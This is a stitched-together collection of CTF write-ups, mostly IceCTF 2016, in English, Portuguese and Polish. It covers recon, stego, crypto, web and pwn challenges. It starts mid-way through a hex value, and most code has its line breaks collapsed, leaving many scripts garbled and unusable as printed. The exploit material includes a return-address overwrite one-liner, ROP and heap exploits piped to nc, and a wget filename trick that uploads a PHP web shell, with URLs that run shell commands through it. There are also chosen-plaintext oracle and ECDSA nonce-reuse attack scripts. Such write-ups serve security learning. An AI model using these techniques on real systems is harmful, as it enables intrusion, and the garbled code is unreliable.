a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
Complacement-Recon-40 points
Hint : These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. url: complacent.vuln.icec.tf
By looking at the cert you can see the flag under Organizational Unit
Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}
|
# IceCTF Thor## Solution By: Nullp0inter
# Thor's A Hacker Now -Misc- 55ptsThor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? thor.txt
# Solution:The challenge gives us a text file that is quite obviously a hex dump of something. The fileis pretty large so I won't post it directly here but its hosted in the same directory here on githubjust in case they ever take it down from IceCTFs site. In any case...
If you pay attention to the first 4 letters on the right, you see it says "LZIP". That happens to be the file type, it is simply the hexdump of an lzipped archive. So first you have to go anddownload lzip. If you are using ubuntu, then simply do `sudo apt-get install lzip`. Once you havelzip installed, copy thor.txt to a directory then do `xxd -r thor.txt | lzip -d > thor.out`. Thisproduces a JPEG image called thor.out. Simply open that image and there is your flag:
`IceCTF{h3xduMp1N9_l1K3_A_r341_B14Clh47}` |
# ROPi
O desafio consistia em explorar um buffer overflow e **pular** entre funções para exibir corretamente, o workflow necessário para isto era, seguindo os nomes das funções:
1. ret (configurava o filedescriptor para flag.txt)2. ori (realizada o read() no fd configurado anteriormente)3. pro (finalmente exibia a flag)
Apesar de parecer simples, as duas primeiras funções exigiam chaves para a executar, ou seja, alguns valores predeterminados deviam estar na memoria, além disso, o espaço era diminuto então você deveria encaixar perfeitamente cada chamada para a funçao:
```./ropi-exploit.py | nc ropi.vuln.icec.tf 6500 Benvenuti al convegno RetOri Pro!Vuole lasciare un messaggio?[+] aperto[+] leggi[+] stampareIceCTF{italiano_ha_portato_a_voi_da_google_tradurre}```
Analise o código fonte do exploit para maiores explicações. |
Time Traveler - Forensic - 45 points
Hint: I can assure you that the flag was on this website at some point in time. Url: http://time-traveler.icec.tf/
Go to https://archive.org/web/Paste in the url.Visiting the snapshot from 1 June 2016 you will see the flag
Flag : IceCTF{Th3y'11_n3v4r_f1|\|d_m4h_fl3g_1n_th3_p45t} |
Toke is a web challenge worth 45points
Url: http://toke.vuln.icec.tf/Hint: I have a feeling they were pretty high when they made this website...
Starting with registring an account with random credentials. While intercepting the get request to /dashboard we see a jwt tokenThe jwt token has the format xxxxxxx.xxxxxxxxxxxxxxxx.xxxxxxxxxxxxxx where the parts between the dots are base64encoded.64decode the middle part of the token and it returns the flag.
{"flag":"IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}","user":"aa"}
Jwt info : https://jwt.io/introduction/Base64 info : https://en.wikipedia.org/wiki/Base64
|
Spotlight - web - 10 points
Hint:Someone turned out the lights and now we can't find anything. Send halp! spotlight Url: http://spotlight.vuln.icec.tf/
Open the debugger in Firefox ( alt + cmd + s)On line 53 you will see a debug msg with the flag
Flag: IceCTF{5tup1d_d3v5_w1th_th31r_l095} |
# Drumpf Hotels
O desafio consistia em explorar uma falha de heap overflow, batemos bastante a cabeça com este desafio pois achavamos se tratar de uma falha double free() porém era bem mais simples, tinhamos que gravar 2 chunks usando as funçoes room e suite e então remover ambos e adicionar uma nova room, com o numero representado em decimal do endereço de memoria da string da flag lida já no começo de main() no campo numerico. e então chamar a função do programa print booking, já que esta função leria o inicio do chunk para exibir o numero da room.
```greyhound//deadcow ~/fun/icectf/drumpf % ./xpl.py| nc drumpf.vuln.icec.tf 6502...2. Book a room3. Delete booking4. Print booking5. Quit$$$ 4IceCTF{they_can_take_our_overflows_but_they_will_never_take_our_use_after_freeeedom!}t�S�g���t�ORooms number: 134905Name: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDRooms number: 134514237...greyhound//deadcow ~/fun/icectf/drumpf %``` |
Hint: What a mess... we got a raw flag but now what do we do... url: https://play.icec.tf/problem-static/flag_63c24d48595eae318c9a174f37ffb0f128758e5c16fea0ffebf12b0ba5f5b26a.txt
This is just ascii that is binary encoded.Go to http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.aspPut in the binary and convert to ascii.
Flag : IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine} |
Vape Nation-Stego-50points
Hint: Go Green! vape_nation.pngUrl https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png
Used the program http://www.caesum.com/handbook/Stegsolve.jar to solve this challange
Just open the file and use the hint "green" so try the Green plane 0.
Flag : IceCTF{420_CuR35_c4NCEr} |
## Trendyweb (Web, 100p)
###ENG[PL](#pl-version)
We get the source for index.php running on server:
```php
```
And information that we need a shell to run a flag reader in `/`.
Intially we focused on the obvious unserialize vulnerability, but we could not figure out how to put our payload inside `pickle` file.The only way seemed to be using the `download_image` function, but wget would not save the file under selected name.While considering if this can be overriden we found out that wget behaves interestingly when the URL has some GET parameters.
Specifically downloading from URL `http://something.pwn/avatar.png?hacked.php` will actually create a file with name `avatar.png?hacked.php`.At the same time the `parse_url` checks in `download_image` will pass since the GET parameters are not part of `$url['path']`.
Since the uploaded file had now .php extension the server was interpreting the script inside, so we simply put a PHP shell inside:
```php
```
And with that we could simply run
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /`
to get the name of flag reading binary (`flag_is_heeeeeeeereeeeeee`) and then:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee`
to get the actual flag: `1-day is not trendy enough`
###PL version
Dostajemy źródło pliku index.php działającego na serwerze:
```php
```
Oraz informacje, że potrzebujemy shella aby uruchomic program do odczytania flagi znajdujący się w `/`.
Początkowo skupiliśmy się na ewidentnej podatności unserialize, ale nie mogliśmy dojść do tego, jak umieścić nasz payload w pliku `pickle`.Jedyna sensowna droga sugerowała użycie funkcji `download_image`, ale nie wiedzieliśmy jak zmusić wgeta do zapisania pliku pod inną nazwą.Podczas rozważania jak można zmienić nazwę wynikowego pliku zauważyliśmy, że wget ciekawe obsługuje URLe z parametrami GET.
Konkretnie pobieranie z URLa `http://something.pwn/avatar.png?hacked.php` utworzy plik o nazwie `avatar.png?hacked.php`.Jednocześnie wszystkie warunki w`parse_url` będą nadal spełnione bo parametry GET nie są częścią `$url['path']`.
Ponieważ tak uploadowany plik ma rozszerzenie .php serwer wykonuje skrypty w nim zawarte, więc umieściliśmy tam prosty PHP shell:
```php
```
I w ten sposób mogliśmy uruchomić:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /`
aby pobrać nazwę programu do odczytywania flagi (`flag_is_heeeeeeeereeeeeee`) a następnie:
`http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee`
aby odczytać flagę: `1-day is not trendy enough` |
Audio Problems - Forensics - 50 points
Hint:We intercepted this audio signal, it sounds like there could be something hidden in it.Can you take a look and see if you can find anything? Url: https://play.icec.tf/problem-static/audio_problems_210b88f2232e1c9d770bb5d2069c47aabb86301b0adc7ad606956394a00f298b.wav
Download the file and open it with an spectrum analyzer. I used the page : https://academo.org/demos/spectrum-analyzer/
When playing the song and looking at the spectrum you will see the flag.
FLAG: IceCTF{y0U_b3t7Er_l15TeN_cL053lY}
|
Thor's a hacker now - misc - 55 points
Hint: Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? Url: https://play.icec.tf/problem-static/thor_7101f3b9690d5dc6c3afefa49d82e0526b278ec1c564139369ad22c28721d4cf.txt
Opening the file it shows that its should be a lzip file.
xxd -r thor.txt > thor.lz
Decompress the lzip filelzip -d thor.lz
Just open the jpg file
Flag : IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47} |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
